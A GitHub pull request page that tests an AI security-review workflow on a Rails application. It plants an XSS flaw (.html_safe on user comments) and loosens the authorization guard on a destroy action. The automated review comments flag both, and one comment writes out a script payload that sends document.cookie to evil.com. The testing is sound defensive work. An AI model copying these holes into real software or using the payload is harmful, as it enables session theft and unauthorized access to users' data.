Skip to content

Test: Claude Code Security Review baseline#18

Merged
mfo merged 1 commit into
mainfrom
claude-code-security-review
Mar 25, 2026
Merged

Test: Claude Code Security Review baseline#18
mfo merged 1 commit into
mainfrom
claude-code-security-review

Conversation

@mfo

@mfo mfo commented Mar 23, 2026

Copy link
Copy Markdown
Owner

Summary

  • Add claude-code-security-review workflow (minimal setup, no custom instructions)
  • Introduce intentional XSS vulnerability (.html_safe on user content) to test baseline detection

Context

POC to validate H3: does claude-code-security-review detect common vulnerability patterns without enrichment?

🤖 Generated with Claude Code

@chatgpt-codex-connector

Copy link
Copy Markdown

You have reached your Codex usage limits for code reviews. You can see your limits in the Codex usage dashboard.

Comment thread app/models/concerns/mail_template_concern.rb Fixed
@mfo
mfo force-pushed the claude-code-security-review branch 9 times, most recently from 1672b6f to 86fb727 Compare March 23, 2026 09:45
Comment thread app/helpers/commentaire_helper.rb Outdated
commentaires.group_by { |commentaire| commentaire.created_at.to_date }
end

def render_commentaire_body(commentaire)

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤖 Security Issue: render_commentaire_body calls .html_safe on commentaire.body, which is user-supplied content. This bypasses Rails' automatic HTML escaping and allows injection of arbitrary HTML and JavaScript.

Severity: HIGH
Category: xss
Tool: ClaudeCode AI Security Analysis

Exploit Scenario: An attacker submits a commentaire with body containing '<script>document.location="https://evil.com/?c="+document.cookie</script>'. When any user (instructeur, other usager, or admin) views the commentaire, the script executes in their browser session, stealing session cookies or performing actions on their behalf. This is a stored XSS vulnerability affecting a government platform handling sensitive citizen data.

Recommendation: Remove the .html_safe call entirely and let Rails auto-escape the output. If rich text is needed, use Rails' sanitize helper with an allowlist of safe tags, or use a dedicated rich text framework like ActionText.

@mfo mfo changed the title Test: Claude Code Security Review baseline (H3) Test: Claude Code Security Review baseline Mar 23, 2026
@mfo
mfo force-pushed the claude-code-security-review branch from 9574be4 to bab95fb Compare March 23, 2026 10:55

ACTIONS_ALLOWED_TO_ANY_USER = [:index, :new, :deleted_dossiers]
ACTIONS_ALLOWED_TO_OWNER_OR_INVITE = [:show, :destroy, :demande, :messagerie, :brouillon, :modifier, :update, :create_commentaire, :papertrail, :restore, :champ, :check_completude, :notify_owner_for_changes]
ACTIONS_ALLOWED_TO_ANY_USER = [:index, :new, :deleted_dossiers, :destroy]

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤖 Security Issue: Moving :destroy from ACTIONS_ALLOWED_TO_OWNER_OR_INVITE to ACTIONS_ALLOWED_TO_ANY_USER removes the ensure_ownership_or_invitation! before_action guard. This means any authenticated user can invoke the destroy action on any dossier ID. The dossier helper resolves dossiers via Dossier.visible_by_user (a global visibility scope, not user-scoped), so it will find any visible dossier by ID regardless of ownership. While the destroy method has internal current_user.owns? / current_user.invite? checks that currently prevent actual deletion for non-owners, this bypasses the established authorization framework: the proper ensure_ownership_or_invitation! guard no longer runs for this destructive action.

Severity: HIGH
Category: authorization_bypass
Tool: ClaudeCode AI Security Analysis

Exploit Scenario: Any authenticated user (usager) can call DELETE /users/dossiers/:id with the ID of any other user's dossier. The request will reach the destroy action without an authorization check. Although the current method body prevents the actual soft-delete for non-owners, this opens a confirmed IDOR surface: (1) it discloses whether a dossier exists and its deletability state via differing flash messages (soft_deleted_dossier vs undergoingreview), and (2) any future refactoring of the destroy method that doesn't maintain the internal ownership checks would immediately escalate to unauthorized deletion of any user's government administrative dossier.

Recommendation: Keep :destroy in ACTIONS_ALLOWED_TO_OWNER_OR_INVITE so that the ensure_ownership_or_invitation! before_action continues to guard this destructive endpoint. If the intent is to allow non-owners to access destroy under specific conditions, add a dedicated before_action with explicit authorization logic rather than removing the guard entirely.

Run AI-powered security analysis on PRs after approval.
Fails the check if vulnerabilities are found, with admin bypass
via branch protection rules.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
@mfo
mfo force-pushed the claude-code-security-review branch from 8a4acfc to 22063fc Compare March 23, 2026 17:33
@mfo
mfo merged commit d7b9e68 into main Mar 25, 2026
14 of 18 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants